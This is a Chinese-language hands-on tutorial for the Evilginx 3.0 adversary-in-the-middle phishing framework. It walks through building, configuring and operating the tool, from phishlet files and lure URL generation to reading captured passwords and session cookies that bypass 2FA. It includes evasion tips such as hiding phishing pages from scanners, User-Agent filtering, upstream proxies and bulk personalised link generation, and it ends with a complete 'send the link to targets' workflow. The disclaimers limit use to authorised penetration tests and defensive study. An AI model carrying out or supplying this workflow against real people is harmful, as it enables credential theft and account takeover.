Evilginx 3.0 逆向代理钓鱼框架解析:原理、部署与配置实战
Evilginx 3.0 逆向代理钓鱼框架解析:原理、部署与配置实战
导读
Evilginx 是一款用 Go 编写的独立中间人(man-in-the-middle)攻击框架,其核心能力是同时窃取登录凭据与会话 Cookie,从而绕过基于 2FA 的认证保护。它不依赖 nginx 或任何外部 Web 服务器,而是自带 HTTP 与 DNS 服务器实现,部署极其简单。本文以仓库根目录的 README.md 为主线,结合 main.go、core/config.go、core/terminal.go、core/phishlet.go 等源码,完整讲解其工作原理、启动参数、phishlet 文件格式、全部交互命令以及配置项,读完即可独立完成从安装、配置到生成钓鱼链接与查看会话的完整链路。
免责声明:本项目作者在 README 中明确声明,Evilginx 仅应被用于获得目标方书面授权的合法渗透测试任务,它用于演示熟练攻击者的能力,防御方应以此类攻击为参考来保护用户。本文内容仅用于安全研究、防御演练与学习目的,请勿用于任何非法用途。
一、Evilginx 是什么:从 1.0 到 3.0
Evilginx 是 2017 年发布的 Evilginx 的后继项目。第一代 Evilginx 使用定制版 nginx HTTP 服务器提供中间人功能,在浏览器与被钓鱼网站之间充当代理;而当前版本(仓库 README 标题为 Evilginx 3.0)完全用 Go 编写,是一个独立的单二进制应用,自带 HTTP 与 DNS 服务器,因此设置与使用极其容易。
“绕过 2FA”的关键原理在于:传统钓鱼只能拿到密码,而 Evilginx 在实时代理用户与真实站点之间所有流量的过程中,不仅能捕获表单中的用户名/密码,还能捕获浏览器在登录成功后写下的认证 Cookie(会话令牌)。攻击者随后将这些 Cookie 导入自己的浏览器,即可在目标会话仍然有效的时间窗口内以受害者身份登录,2FA 一次性验证码在此场景下形同虚设。
从源码结构看,该框架的核心模块分布在 core/ 目录下,各司其职:
| 模块文件 | 职责 |
|---|---|
| http_proxy.go | 反向代理与请求/响应改写核心 |
| http_server.go | 内置 HTTPS 服务器 |
| nameserver.go | 内置 DNS 服务器 |
| phishlet.go | phishlet YAML 文件解析与运行时模型 |
| config.go | 配置读写与持久化 |
| terminal.go | 交互式 CLI(phishlets/lures/sessions 等命令) |
| session.go | 会话与凭据捕获 |
| certdb.go | TLS 证书管理与自动签发 |
| blacklist.go | 请求方 IP 黑名单 |
启动流程在 main.go 中清晰可见:加载配置与黑名单 → 扫描 phishlets 目录加载全部 YAML → 启动 DNS 服务器 → 初始化证书库 → 启动 HTTP 代理 → 进入交互式终端。
二、快速上手:编译、启动参数与目录约定
2.1 构建
项目采用标准 Go module 布局(见 go.mod),并提供 Makefile 与 build_run.bat(Windows)辅助构建。在类 Unix 环境下可直接:
go build -o evilginx .
2.2 启动参数
main.go 通过标准库 flag 定义了以下启动参数:
| 参数 | 默认值 | 说明 |
|---|---|---|
-p <path> |
可执行文件旁的 ./phishlets(不存在时回退到 /usr/share/evilginx/phishlets/) |
phishlets 目录路径 |
-t <path> |
可执行文件旁的 ./redirectors(不存在时回退到 /usr/share/evilginx/redirectors/) |
HTML 跳转页(redirector)目录路径 |
-c <path> |
~/.evilginx |
配置目录路径 |
-debug |
false |
开启调试输出 |
-developer |
false |
开发者模式,为所有主机名生成自签名证书(绕过 Let's Encrypt 频率限制,便于本地测试) |
-v |
false |
打印版本号后退出 |
典型启动命令:
./evilginx -p ./phishlets -t ./redirectors -c ~/.evilginx -debug
需要注意:若 -p 指定目录不存在,程序会直接 log.Fatal 退出并要求提供正确的 phishlets 路径(对应源码 main.go 的目录探测逻辑);配置目录不存在时则会自动创建(权限 0700)。
2.3 运行产生的文件
首次运行后,配置目录下会生成:
config.json:全局配置(域名、端口、lures、phishlets 状态等),由 core/config.go 中基于viper的NewConfig初始化并持久化;data.db:SQLite 数据库,保存捕获的会话与凭据,由 database/database.go 负责;blacklist.txt:IP 黑名单文件(支持 CIDR 网段与单 IP 两种行格式,见 core/blacklist.go);crt/:TLS 证书目录。
2.4 网络前提
因为 Evilginx 自带 DNS 与 HTTPS 服务器,你通常需要把目标域名的 A 记录指向运行 Evilginx 的服务器公网 IP(端口 53 与 443 对外开放)。交互终端中 phishlets get-hosts <phishlet> 命令可输出本地 hosts 文件条目,用于本地测试(详见后文命令表)。
三、phishlet:钓鱼站点的“剧本”
phishlet 是描述如何代理某个真实站点、从哪些字段提取凭据、捕获哪些 Cookie 的 YAML 文件,是整个框架最核心的配置载体。运行时由 core/phishlet.go 的 NewPhishlet/LoadFromFile 解析,加载失败(缺少必需字段、正则编译失败、版本不兼容)会在启动时打印错误并跳过该文件。
3.1 文件格式总览
仓库自带的 phishlets/example.yaml 是完整可用的最小示例,直接展示了全部必需章节:
min_ver: '3.0.0'
proxy_hosts:
- {phish_sub: 'academy', orig_sub: 'academy', domain: 'breakdev.org', session: true, is_landing: true, auto_filter: true}
sub_filters:
- {triggers_on: 'breakdev.org', orig_sub: 'academy', domain: 'breakdev.org', search: 'something_to_look_for', replace: 'replace_it_with_this', mimes: ['text/html']}
auth_tokens:
- domain: '.academy.breakdev.org'
keys: ['cookie_name']
credentials:
username:
key: 'email'
search: '(.*)'
type: 'post'
password:
key: 'password'
search: '(.*)'
type: 'post'
login:
domain: 'academy.breakdev.org'
path: '/evilginx-mastery'
3.2 各章节详解
min_ver:phishlet 文件格式的最低 Evilginx 版本。源码中会做严格版本校验(isVersionHigherEqual,见 core/phishlet.go):低于 2.2.0 或 2.3.0 的文件会被拒绝并提示具体的迁移步骤(如把 sub_filters 的 hostname 改为 triggers_on、把 landing_path 改为 login 章节等)。
proxy_hosts:必填。声明哪些子域要被代理。每个条目包含:
phish_sub+domain:拼出钓鱼侧的完整主机名(即实际对外提供服务的地址);orig_sub+domain:拼出原始站点的真实主机名(代理时请求转发的目标);session:该主机是否处理会话(若全部未设置,解析器会自动把第一个主机标记为 session 主机,见 core/phishlet.go);is_landing:是否是落地页主机(未设置时同样自动取第一个主机);auto_filter:是否对该主机启用自动内容过滤(默认true)。
sub_filters:内容改写规则。当响应命中 triggers_on 主机且 MIME 类型匹配 mimes 时,把正则 search 匹配的内容替换为 replace,从而把页面中的原始域引用改写成钓鱼域。支持 redirect_only(仅重写跳转)与 with_params(额外限定查询参数)。这是让钓鱼页面“看起来天衣无缝”的关键机制。
auth_tokens:必填。声明哪些 Cookie(或令牌)是认证令牌,有三种 type(AUTH_TOKEN_TYPES 常量定义于 core/phishlet.go):
cookie(默认):domain+keys列出 Cookie 名。Cookie 名支持后缀修饰符:regexp(把名字当正则匹配)、opt(可选,缺失不算失败)、always(始终要求捕获);body:从响应path(正则)匹配的页面body中,用search正则提取名为name的令牌;http:从响应path的 HTTPheader中提取名为name的令牌。
只有被声明为认证令牌的 Cookie 才会在会话中保存并最终导出,其他 Cookie 会被丢弃。
credentials:必填。username / password(以及可选的 custom 自定义字段)各含 key(POST 表单字段名,按正则编译)、search(从该字段值中提取有效内容的正则)、type(post 或 json,默认 post)。源码中 key 与 search 均为必填项,缺失直接报错(core/phishlet.go)。
login:必填。声明登录接口所在 domain 与 path,用于在捕获到会话后判断“已成功登录”。源码强制要求 domain 必须对应 proxy_hosts 中某个 orig_subdomain + domain 组合,否则报错(core/phishlet.go)。
可选章节:
auth_urls:正则列表,用于识别/豁免授权相关请求;force_post:对匹配path的 POST 请求,强制把search匹配到的字段改写成force中指定的key=value,适用于站点存在动态令牌或隐藏字段校验的场景;js_inject:在命中trigger_domains(+ 可选trigger_paths正则、trigger_params)的页面上注入script,脚本内容可通过{参数名}占位符动态替换;intercept:对匹配domain+path(正则)的请求直接返回自定义http_status、body、mime,实现拦截伪造响应;params+ 模板机制:若声明了params章节,则该 phishlet 被视为模板(template),必须用phishlets create以指定参数实例化出子 phishlet 后才能启用(详见 core/phishlet.go)。
3.3 phishlet 加载时的校验
从 main.go 可以看到,启动时会遍历 phishlets 目录下所有 *.yaml 文件,依次调用 NewPhishlet 并加入配置;随后 cfg.LoadSubPhishlets() 恢复模板子 phishlet,cfg.CleanUp() 清理失效的配置项。任何 phishlet 解析失败都只影响该文件本身,不会导致程序崩溃。
四、交互终端:全部命令与实战用法
程序启动后进入带 TAB 补全的交互式终端(实现见 core/terminal.go 与命令定义 core/help.go)。以下命令来自 core/help.go 的命令注册表,按类别完整列出。
4.1 config —— 全局配置
| 命令 | 说明 |
|---|---|
config |
显示全部配置变量当前值 |
config domain <domain> |
为所有 phishlet 设置基础域(如 evilsite.com) |
config ipv4 <ip> |
设置服务器外部 IPv4 地址 |
config ipv4 external <ip> |
同上(显式 external 形式) |
config ipv4 bind <ip> |
设置服务器绑定地址 |
config unauth_url <url> |
设置所有未授权请求的重定向地址 |
config autocert <on|off> |
启用/关闭 Let's Encrypt 自动证书签发 |
config gophish admin_url <url> |
设置 Gophish 管理地址(配合官方集成) |
config gophish api_key <key> |
设置 Gophish API Key |
config gophish insecure <true|false> |
是否跳过对 Gophish TLS 证书的验证(自签名证书时设 true) |
config gophish test |
测试 Gophish 连接 |
未设置 unauth_url 时,程序会写入一个默认值(源码常量 DEFAULT_UNAUTH_URL,见 core/config.go)。终端启动时若域名或外部 IP 未配置,checkStatus() 会给出提示(core/terminal.go)。
4.2 phishlets —— phishlet 生命周期管理
| 命令 | 说明 |
|---|---|
phishlets |
显示所有 phishlet 的状态表(status/visibility/hostname/unauth_url) |
phishlets <phishlet> |
显示单个 phishlet 详情(含父模板、参数) |
phishlets create <phishlet> <child_name> <k1=v1> <k2=v2> |
从模板 phishlet 创建子 phishlet |
phishlets delete <phishlet> |
删除子 phishlet(只能删子项) |
phishlets hostname <phishlet> <hostname> |
设置该 phishlet 的钓鱼主机名(必须以基础域结尾) |
phishlets unauth_url <phishlet> <url> |
覆盖全局 unauth_url(仅针对该 phishlet) |
phishlets enable <phishlet> |
启用 phishlet,并触发 TLS 证书签发 |
phishlets disable <phishlet> |
停用 phishlet |
phishlets hide <phishlet> |
隐藏钓鱼页面(所有请求被记录并重定向,可躲避扫描器) |
phishlets unhide <phishlet> |
恢复对外可见 |
phishlets get-hosts <phishlet> |
输出 外部IP 主机名 形式的 hosts 文件条目,用于本地测试 |
注意 hostname 必须满足“等于基础域或以 .基础域 结尾”的约束(见 core/config.go),设置后 phishlet 会自动被禁用,需重新 enable。
4.3 lures —— 生成钓鱼链接
| 命令 | 说明 |
|---|---|
lures |
列出所有 lure(含 id/path/redirector/redirect_url/paused/og 状态) |
lures <id> |
查看单个 lure 详情 |
lures create <phishlet> |
为指定 phishlet 新建 lure(自动生成 8 位随机路径) |
lures get-url <id> <k1=v1> <k2=v2> |
生成带加密参数的钓鱼 URL |
lures get-url <id> import <params_file> export <urls_file> <text|csv|json> |
从参数文件批量生成并导出钓鱼 URL |
lures pause <id> <1d2h3m4s> |
暂停 lure 指定时长,期间访客被重定向到 unauth_url |
lures unpause <id> |
恢复 lure |
lures delete <id> |
删除 lure(支持 1,3 与 1-7,10-12 区间) |
lures delete all |
删除全部 lure |
lures edit <id> hostname <host> |
设置自定义钓鱼主机名(须以基础域结尾且通过主机名正则校验) |
lures edit <id> path <path> |
设置自定义 URL 路径 |
lures edit <id> redirector <path> |
绑定 HTML 跳转页目录(须含 index.html/index.htm) |
lures edit <id> ua_filter <regexp> |
设置 User-Agent 白名单正则过滤 |
lures edit <id> redirect_url <url> |
授权成功后跳转的 URL |
lures edit <id> phishlet <phishlet> |
更换 lure 绑定的 phishlet |
lures edit <id> info <info> |
设置备注信息 |
lures edit <id> og_title/og_desc/og_image/og_url |
设置链接预览(Open Graph)元数据 |
一个值得注意的细节:lures get-url 生成钓鱼 URL 时,附带参数会被 RC4 加密并 base64 编码后放入随机查询参数(实现见 core/terminal.go),避免明文参数暴露目标信息,也便于把同一个 lure 复用于大量个性化目标(批量 import/export 正是为大规模投递设计)。
仓库自带的 redirectors/turnstile/index.html 与 redirectors/download_example/index.html 是可供 lures edit <id> redirector 绑定的现成跳转页示例。
4.4 sessions —— 查看与导出捕获结果
| 命令 | 说明 |
|---|---|
sessions |
列出全部会话(id/phishlet/用户名/密码/令牌状态/来源 IP/时间) |
sessions <id> |
查看会话详情:用户名、密码、自定义字段、Cookie 令牌(以 JSON 形式输出,可直接导入浏览器扩展)、body/http 令牌 |
sessions delete <id> |
删除指定会话(支持 1-7,10-12,15-25 区间) |
sessions delete all |
清空所有会话 |
其中 Cookie 令牌导出格式与浏览器扩展(如 StorageAce)兼容:程序会把捕获的 Cookie 序列化为包含 name/domain/path/value/httpOnly/secure 等字段的 JSON 数组,__Host-、__Secure- 前缀的 Cookie 会被自动标记为 Secure(见 core/terminal.go)。
4.5 proxy、blacklist 与其他
proxy(代理上游流量,规避 IP 风控):
| 命令 | 说明 |
|---|---|
proxy |
显示当前代理配置 |
proxy enable / proxy disable |
启用/停用代理(启用后需重启生效) |
proxy type <type> |
设置类型:http(默认)、https、socks5、socks5h |
proxy address <addr>、proxy port <port> |
设置地址与端口 |
proxy username <u>、proxy password <p> |
设置认证凭据 |
blacklist(自动拉黑请求方 IP):
| 命令 | 说明 |
|---|---|
blacklist |
显示当前模式与已加载的 IP/网段数量 |
blacklist all |
所有请求(含授权请求)都拉黑 |
blacklist unauth |
仅未授权请求拉黑(默认模式) |
blacklist noadd |
拦截但不新增黑名单条目 |
blacklist off |
关闭黑名单,放行一切请求 |
blacklist log on|off |
开关黑名单日志输出 |
黑名单支持在 blacklist.txt 中以“每行一个 IP 或 CIDR 网段(; 开头为注释)”的格式持久化(core/blacklist.go)。
其他:test-certs(重新测试/获取活动 phishlet 的 TLS 证书)、help [命令]、clear、exit(或 q/quit)。
五、TLS 证书:autocert 与 developer 模式
Evilginx 对钓鱼域名做 HTTPS 需要匹配的证书:
- 默认(
autocert on)下,程序使用 certmagic 自动从 Let's Encrypt 申请证书,覆盖所有活动 phishlet 的主机名(见 main.go 的 certmagic 初始化,以及manageCertificates的setManagedSync调用,core/terminal.go)。每启用一个 phishlet 都会触发证书获取,因此建议把对外投递的域名都预先通过phishlets enable/test-certs拿到证书; - 关闭 autocert 后,程序要求手动提供证书文件(
setUnmanagedSync); -developer启动参数则为所有主机名生成自签名证书,适合本地测试与开发——此时需要客户端信任该证书(或跳过校验),且无需暴露公网。
六、Gophish 官方集成
README 明确指出,若要使用 Gophish 发送与 Evilginx 兼容的钓鱼链接,应使用与 Evilginx 3.3 配套的官方 Gophish 集成版(fork 仓库)。Evilginx 侧只需在终端执行:
config gophish admin_url <gophish管理地址>
config gophish api_key <api_key>
config gophish insecure true # 使用自签名证书时
config gophish test
对应实现位于 core/gophish.go 与 core/config.go,配置项会持久化到 config.json 的 gophish 字段。该集成让攻击者可在 Gophish 中直接管理投递与统计,Evilginx 负责捕获。
七、常见使用链路(完整实战流程)
综合以上内容,一次典型操作的完整流程如下:
- 准备:服务器开放 53/443 端口,把基础域 A 记录指向服务器;将真实站点的 phishlet YAML 放入
-p指定目录; - 启动:
./evilginx -p ./phishlets -t ./redirectors; - 初始化配置:
config domain evilsite.com、config ipv4 external <服务器公网IP>,视需要config unauth_url ...、proxy type ...等; - 绑定与启用 phishlet:
phishlets hostname <site> <钓鱼子域.evilsite.com>→phishlets enable <site>(等待证书签发成功); - 创建并定制 lure:
lures create <site>→lures edit <id> redirector turnstile(可选)→lures get-url <id>得到钓鱼链接; - 投递与观察:将链接发给目标;目标登录时,
sessions会实时出现新会话,sessions <id>可查看用户名、密码与 Cookie 令牌 JSON; - 收尾:
lures pause <id> 1h临时下线 lure;sessions delete <id>清理数据。
八、延伸阅读与生态
- 仓库 README 收录了自 Evilginx 2.0 起各版本(2.1/2.2/2.3/2.4/3.0/3.2/3.3)的详细 write-up 博客,适合深入学习逆向代理钓鱼的演进;
- 官方还提供 Evilginx Mastery 培训课程与 Evilginx Pro 商业产品(含官方 phishlets 数据库、Botguard 反机器人、Wildcard TLS 证书、JavaScript/HTML 混淆、SQLite 支持等增强能力),但本文所讲的开源版功能均已包含在当前仓库中,可完全独立使用;
- 交互命令的完整定义(含全部子命令与补全树)可查阅 core/help.go,会话数据库结构见 database/db_session.go。
再次强调:本框架仅应用于获得书面授权的合法渗透测试与安全研究场景。理解攻击手法是防御的前提,请遵守所在司法辖区的法律法规。
参考文件索引
- README.md —— 项目定位、特性与生态(本文主体)
- main.go —— 启动参数与初始化流程
- core/config.go —— 配置结构、默认值与持久化
- core/phishlet.go —— phishlet 解析与校验
- core/terminal.go —— 交互命令实现
- core/help.go —— 命令注册表与帮助文本
- core/blacklist.go —— IP 黑名单
- phishlets/example.yaml —— 最小可用 phishlet 示例
- redirectors/turnstile/index.html —— 示例跳转页